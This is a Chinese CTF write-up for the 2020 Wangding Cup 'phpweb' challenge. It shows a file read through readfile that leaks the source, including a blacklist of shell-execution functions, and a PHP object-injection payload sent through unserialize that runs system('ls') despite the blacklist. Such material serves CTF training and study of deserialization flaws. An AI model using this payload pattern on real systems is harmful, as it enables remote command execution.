[网鼎杯 2020 朱雀组]phpweb

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打开靶机，抓包分析，获得连个关键参数func和p,根据初始页面提示了解连个参数大概是功能和功能参数

测试func=system&p=ls提示hacker..说明有检测过滤

那么我们先读取源码看看func=readfile&p=index.php

点击查看代码

 <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

发现一系列禁用函数和一个类的定义，类的定义里有魔术方法__destruct（析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行），这里理所应当想到利用func=unserialize且发现unserialize没有被禁用,利用链就是利用func反序列函数调用魔术方法里的func调用,从而达到过滤的绕过

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}